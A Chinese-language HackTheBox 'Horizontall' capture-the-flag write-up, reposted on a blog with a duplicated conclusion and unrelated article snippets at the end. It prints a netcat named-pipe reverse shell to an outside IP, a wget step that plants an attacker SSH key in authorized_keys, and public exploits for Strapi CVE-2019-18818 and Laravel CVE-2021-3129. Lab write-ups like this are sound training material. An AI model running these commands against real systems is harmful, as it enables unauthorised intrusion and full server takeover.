CTF-Horizontall HackTheBox渗透测试(一)

news2024/11/23 21:56:08

** 0X01 简介**

#Horizontall#难度是一个相对“简单”的 CTF Linux盒子。该CTF环境涵盖了通过利用Strapi RCE 漏洞并使用内部应用程序
(Laravel) 将隧道传输到本地计算机,并且在 Laravel v 7.4.18 上运行 漏洞PoC最来提升权限拿到root用户权限。

** 1.1信息收集**

Ønmap端口扫描工具

** 1.2目录枚举**

Ø使用 wfuzz 目录枚举工具

ØStrapi 密码重置漏洞

** 1.3渗透测试**

Ø利用strapi CVE-2019-18818获取反向shell

Ø初始信息收集

Ø在受害者的 authorized_keys 文件中设置我的 SSH 密钥

** 1.4权限提升**

Ø将内部网站通过隧道连接到我们的系统

Ø利用 Laravel CVE-2021-3129获取根标志

0X02 信息收集

首先,我们利用端口探测工具对受害主机运行 nmap,查看受害主机开启哪些端口,命令如下(如图2.1所示)

nmap -sV -sC -Pn 10.129.149.92

图2.1 namp扫描端口

** 0X03 目录枚举**

根据步骤2我们发现受害主机开启2个端口,1个为22端口(SSH服务),另外一个开启80端口(HTTP协议),由于是HTTP服务所以我们知道是一个网站服务,通过nmap对端口探针发现网站标题为horizontall,为我们渗透测试机kali可以访问到网站,需要我们在
hosts 文件中添加了该地址以进行解析。(如图3.1.1所示)

图3.1.1 解析过程

我们试图在网站本身上寻找可利用的漏洞信息,但在主域名网站下没有发现任何可利用信息,所以我们需要对主域名其它目录,查看是否有可利用信息,通过目录暴力破解没有发现可利用信息。所以接下来我们尝试枚举子域名,命令操作如下。

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.horizontall.htb" --sc 200 10.129.149.92

通过wfuzz域名检举工具,我们发现返回了一个有趣的子域,称为api-
prod(如图3.1.2所示)

图3.1.2 api-prod子域

在次我们在 hosts 文件中添加这个子域名并尝试打开该网站。添加子域名操作命令如下(如图3.1.3所示)

echo "10.129.149.92 api-prod.horizontall.htb" >> /etc/hosts

图3.1.3 添加子域

它看起来就是一个相对普通网站,在页面上没有找到可利用信息。因此,我们尝试了目录枚举。我们找到了一个目录/admin。我们使用工具whatweb检查了这个网站的组件和相关指纹后,我们发现标题是strapi。(如图3.1.4所示)

whatweb http://api-prod.horizontall.htb/admin/

图3.1.4
添加子域

我们通过查看burp的响应,并注意到 strapi 版本是3.0.0-beta 17.4(如图3.1.5所示)

图3.1.5 版本响应

** 0X04 渗透测试**

Searchsploit 结果显示我们可以利用给定版本的漏洞利用。此版本受到CVE-2019-18818
的漏洞。此漏洞允许攻击者在不需要身份验证令牌的情况下重置管理员密码。我们使用 searchsploit 下载了漏洞利用信息,命令如下。(如图4.1.1所示)

searchsploit -m 50239

图4.1.1 Searchsploit漏洞

运行漏洞利用非常简单,只需将 URL 作为参数传递就足够了。(如图4.1.2所示)

python3 50239.py http://api-prod.horizontall.htb

图4.1.2 漏洞运行

如你所见,密码已重置。可以使用此登录。如您所见,在响应中,我们可以确认该帐户是管理员。(如图4.1.3所示)

图4.1.3 确认管理员账户

但是,该漏洞利用还打开了一个在服务器上运行远程命令的选项!经过多次尝试,我们找到了一个似乎可以反向shell,命令如下。(如图4.1.4所示)

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.10 1234 >/tmp/f

图4.1.4 反向shell

我们已经在端口 1234 上设置了一个监听器,现在它已经收到了一个新会话。我们使用 python
pty模块将打开一个伪终端来执行系统命令。(如图4.1.5所示)

nc -nlvp 1234python3 -c 'import pty;pty.spawn("/bin/bash")'

图4.1.5 设置侦听器

** 0X05 权限提升**

对引服务器开始信息收集,我们发现对接下来渗透有用的信息。先使用netstat命令查看一些内部服务器和哪些端口之间有过关联,发现服务器正在监听8000端口。可能意味着内部服务正在运行。(如图5.1.1所示)

netstat -plant

图5.1.1 netstat 命令

在内网测试中渗透测试最好是选择和网站相关来测试,因为网站范围相对较大,更新效率不会太快,所以潜在漏洞也会多一些,方面我们快速拿到权限。另外我们发现用户strapi
对.ssh目录具有rwx 权限。(如图5.1.2所示)

cd ~ls -lapwdcd .ssh

图5.1.2 rwx 权限

因此,接下来渗透动作是:

Ø在服务器的 authorized_keys 中添加我自己的 SSH 公钥

Ø启动 TCP 隧道以将端口 8000 转发到我的本地系统

Ø查看端口 8000 上的服务。

为此,使用 ssh-keygen 命令生成了一个新的 SSH 密钥对(如图5.1.3所示)

图5.1.3 SSH 密钥

然后我将我的 id_rsa.pub 密钥复制为 authorized_keys 并使用 python 启动了一个 Web 服务器。(如图5.1.4所示)

ssh-keygen
cp id_rsa.pub authorized_keys
python3 -m http.server 80

图5.1.4 启动web服务器

然后我使用目录中的 wget 将这个文件下载到我的服务器中~ /.ssh(如图5.1.5所示)

wget http://10.10.16.10/authorized_keys

图5.1.5 文件下载

复制后,我们现在可以运行 SSH 隧道,并使用以下命令将端口 8000 转发到本地系统的端口 8000:(如图5.1.6所示)

ssh -i id_rsa -L 8000:localhost:8000 strapi@10.129.149.92

图5.1.6 转发本地端口

现在,在浏览器中遍历本地端口 8000 时,我们观察到 Laravel 版本 7.4.18 正在运行。(如图5.1.7所示)

http://localhost:8000

图5.1.7 Laravel 正在运行

此版本存在CVE-2021-3129 攻击。由于 file_get_contents()
函数存在安全缺陷导致实现,此漏洞允许攻击者执行代码。我们克隆并运行了一个 PoC 在 github(如图5.1.8所示)

git clone https://github.com/nth347/
CVE-2021-3129_exploit.git
cd CVE-2021-3129_exploit
chmod +x exploit.py
./exploit.py http://localhost:8000 Monolog/RCE1 id
./exploit.py http://localhost:8000 Monolog/RCE1 "
cat /root/root.txt"

图5.1.8 克隆并运行 PoC

最后,该应用程序运行root 权限,因此我们能够以 root 身份执行命令。这就是我们提升权限并抓住多种渗透测试方法来测试。

** 0X06 结论**

本系列准备开启国内外安全靶场渗透测试系列,也欢迎大家投稿包括但不限于VulnStack、Vulnhub、HTB、自行搭建系列靶场。通过靶场快速带领大家学习红队各系列知识。

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担

作者:小峰

编辑:小jia

root 权限,因此我们能够以 root 身份执行命令。这就是我们提升权限并抓住多种渗透测试方法来测试。

** 0X06 结论**

本系列准备开启国内外安全靶场渗透测试系列,也欢迎大家投稿包括但不限于VulnStack、Vulnhub、HTB、自行搭建系列靶场。通过靶场快速带领大家学习红队各系列知识。

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/185442.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GuLi商城-人人开源搭建后台管理系统

参考: 谷粒商城-基础篇(详细流程梳理代码) 谷粒商城-day01 项目的基本搭建_周周写不完的代码的博客-CSDN博客_谷粒商城 若依 谷粒商城分布式基础篇1-个人版_断河愁的博客-CSDN博客_谷粒商城 https://blog.csdn.net/yudbl/category_11902060.html 学习路线 源代…

博客搭建教程2-hexo框架初搭建

文章目录1 前言2 准备工作3 hexo安装4 共享文件夹创建(额外)1 前言 本次教程选用hexo来搭建博客,hexo是一个开源的架构,只需要进行简单的操作就可以拥有自己的博客。 参考网站: hexo官网 注意:下面的命令在root下进行,在日常的工…

【雷丰阳-谷粒商城 】【分布式基础篇-全栈开发篇】【04】跨域_OSS_后端校验

持续学习&持续更新中… 学习态度:守破离 【雷丰阳-谷粒商城 】【分布式基础篇-全栈开发篇】【04】跨域问题解决实现逻辑删除文件存储普通上传云存储阿里云OSS简介术语简单使用使用SpringCloudAlibaba—oss服务端签名后直传普通上传方式:服务端签名后…

Win10安装ElasticSearch笔记

1、安装前准备条件因为ElasticSearch7.17需要JDK1.8的支持,首先确保你的win10已经提前安装好了jdk8的版本ElasticSearch支持的JDK最低版本是1.8.0。ElasticSearch7.17及以下的版本最低版本是JDK1.8.0ElasticSearch8.0及以上的版本最低版本是JDK162、官网下载ES安装包…

Java开发环境配置 “IntelliJ IDEA”(超详细整理,适合新手入门)

前言 📜 “ 作者 久绊A ” 专注记录自己所整理的Java、web、sql等,IT技术干货、学习经验、面试资料、刷题记录,以及遇到的问题和解决方案,记录自己成长的点滴 目录 前言 一、IDEA的介绍 1、大概介绍 2、详细介绍 二、Intelli…

Python中的logging模块

软件开发中通过日志记录程序的运行情况是一个开发的好习惯,对于错误排查和系统运维都有很大帮助。Python标准库自带日志模块,程序的日志功能直接调用标准库的日志模块即可通过日志,开发者可以清楚的了解发生了哪些事件,包括出现了…

Linux随记(五)

一、已用statefulset创了两个nginx副本 web-0 和 web-1 ,目的将各自容器的hostname重定向到index.html。但显示的是master节点的hostname。 怎么写才是搞成 pod里面的主机名?#最终解决方法: 在sh -c 双引号里$符号前面加上\转义。 或者 sh -…

Redis原理篇(二)网络模型

一、用户空间和内核空间 应用需要通过Linux内核与硬件交互。 内核本质也是应用,运行的时候也需要CPU资源、内存资源。用户应用也在消耗这些资源。 为了避免用户应用导致冲突甚至内核崩溃,用户应用与内核是分离的: 进程的寻址空间会划分为两…

《安富莱嵌入式周报》第301期:ThreadX老大离开微软推出PX5 RTOS第5代系统,支持回流焊的自焊接PCB板设计,单色屏实现多级灰度播放视频效果

往期周报汇总地址:嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 祝大家开工大吉 视频版: https://www.bilibili.com/video/BV1GT411o7zr 1、ThreadX老大离开微软&…

又一个开源工具搞完了,工作效率直接翻倍

🏡 博客首页:派 大 星 ⛳️ 欢迎关注 🐳 点赞 🎒 收藏 ✏️ 留言 🎢 本文由派大星原创编撰 🚧 系列专栏:《开源专栏》 🎈 本系列主要输出作者自创的开源项目 🔗 作品&…

JavaScript switch 语句

JavaScript switch 语句 switch 语句评估一个表达式,将表达式的值与case子句匹配,并执行与该情况相关联的语句。 举例说明 const expr Papayas; switch (expr) {case Oranges:console.log(Oranges are $0.59 a pound.);break;case Mangoes:case Papa…

力扣刷题|104.二叉树的最大深度、559.n 叉树的最大深度、111.二叉树的最小深度、222.完全二叉树的节点个数

文章目录LeetCode 104.二叉树的最大深度题目链接🔗思路LeetCode 111.二叉树的最小深度题目链接🔗思路LeetCode 222.完全二叉树的节点个数题目链接🔗普通二叉树求法针对完全二叉树解法LeetCode 104.二叉树的最大深度 题目链接🔗 …

WebAssembly 助力 桌面端运行web

WebAssembly (abbreviated Wasm) is a binary instruction format for a stack-based virtual machine. Wasm is designed as a portable compilation target for programming languages, enabling deployment on the web for client and server applications.WebAssembly 是基…

缺陷分析测试人员绕不开的知识点

缺陷分析也是测试工程师需要掌握的一个能力,但是很多时候大家只记得要提交缺陷、统计缺陷情况,而忽视了缺陷分析。 其实每个项目的缺陷记录都是有很大价值的。在测试阶段分析当前缺陷情况,及时发现存在的问题并调整测试策略,才能…

区间一维dp史上最细总结(绝对干货,还不会的一定要进来)

那年初夏(三) 注:此部分仅为娱乐和引入用,与本文没有太大关联,可以跳过,阅读下面的正文部分。 上篇出现于:DFS(深度优先搜索)详解(概念讲解,图片…

HashSet源码分析

一、HashSet继承关系 1、继承 public boolean equals(Object o) {if (o this)return true;// o没有实现Set接口&#xff0c;返回falseif (!(o instanceof Set))return false;// 向下转换Collection<?> c (Collection<?>) o;// 元素个数不相等&#xff0c;返回f…

4.组件通讯

默认情况下组件只能使用自己的状态&#xff0c;但当组件拆分的比较小的时候&#xff0c;就不可避免的使用到其他组件的状态&#xff0c;比如之前做的例子&#xff0c;当我们的发表评论区域与显示评论区域拆分为两个组件时&#xff0c;这两个组件之间一定要进行通讯以达成某些功…

π122M30代替Si8621AB-B-IS 低功耗,高能效、抗干扰能力好的 双通道数字隔离器解决方案

π122M30代替Si8621AB-B-IS 低功耗&#xff0c;高能效、抗干扰能力好的解决方案电路简单、稳定性更高 &#xff0c;具有出色的性能特征和可靠性&#xff0c;整体性能优于光耦和基于其他原理的数字隔离器产品。 产品传输通道间彼此独立&#xff0c;可实现多种传输方向的配置&…

Day11 C++STL入门基础知识八——stack、queue容器 基本概念-常用接口 【全面深度剖析+例题代码展示】

&#x1f483;&#x1f3fc; 本人简介&#xff1a;男 &#x1f476;&#x1f3fc; 年龄&#xff1a;18 &#x1f6a9; 今日留言&#xff1a;亮亮被迫去练科目二啦&#xff0c;定时发布的文章&#xff0c;回来统一给大家三连回复嗷~&#x1f609; 文章目录1. stack容器——栈1.…

CSDN常见问题汇总

1.怎么申请退款&#xff1f; 通过CSDN平台购买的“VIP会员、余额”&#xff0c;在刚购买后未使用的情况可支持退款&#xff1b; “付费资源、付费专栏、盲盒、魔盒、课程、C认证”等虚拟商品一经购买后&#xff0c;除了特殊原因外&#xff0c;概不支持退款&#xff1b; 特殊原…